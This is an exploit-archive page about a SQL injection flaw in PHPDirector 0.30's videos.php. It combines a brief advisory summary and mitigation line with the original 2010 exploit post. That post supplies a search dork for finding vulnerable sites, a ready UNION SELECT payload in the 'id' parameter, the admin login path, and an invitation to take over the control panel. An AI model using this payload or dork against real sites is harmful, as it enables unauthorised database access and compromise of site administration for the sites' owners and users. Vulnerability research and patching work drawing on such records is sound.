PHPDirector 0.30 (videos.php) SQL Injection Vulnerability

vendor:

PHPDirector

by:

Mr-AbdoX

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: PHPDirector

Affected Version From: 0.30

Affected Version To: 0.30

Patch Exists: NO

Related CWE: N/A

CPE: a:phpdirector:phpdirector:0.30

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux & Windows

2010

PHPDirector 0.30 (videos.php) SQL Injection Vulnerability

PHPDirector 0.30 is vulnerable to SQL injection. An attacker can exploit this vulnerability by sending malicious SQL queries to the vulnerable application. This can be done by appending malicious SQL queries to the vulnerable parameter 'id' in the 'videos.php' page. An attacker can use the 'union' operator to retrieve data from the database. An example of such an attack is 'http://www.site.com/videos.php?id=-56+union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14--'

Mitigation:

Developers should ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

======================================================================
PHPDirector 0.30 (videos.php) SQL Injection Vulnerability #
======================================================================
# Date : 29/06/2010 #
# Author : Mr-AbdoX #
# Emails : Y6u@HoTmaiL.Com & Oz1@HoTmaiL.Com #
# My web Sites : http://Sec-Eviles.com/vb & http://Arspam.com/ #
# Script home : www.phpdirector.co.uk/ #
# Tested on : Linux & Windows #
=================Exploit============================================

Dork: [Powered by: PHPDirector 0.30] 0r [ inurl:videos.php?id= ]

[~] ExploiT [~]

http://www.site.com/videos.php?id=[SQL]

union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14--


[~] ConTroL Panel (admin login) [~]

http://www.site.com/login.php


[~] demo [~]


http://server/path/videos.php?id=-56+union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14--

http://server/videos.php?id=-56+union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14--

enjoy in control panel Like U WanT :p


Don't Forget greetz Me...

Peace


[~] GreetZ To [~]

The Invisible , Dr.Html , Mehdiz , Mr-Yasen , The S3r!0uS , Dr.Solo , ProF.Sellim & All Morrocans H4xorz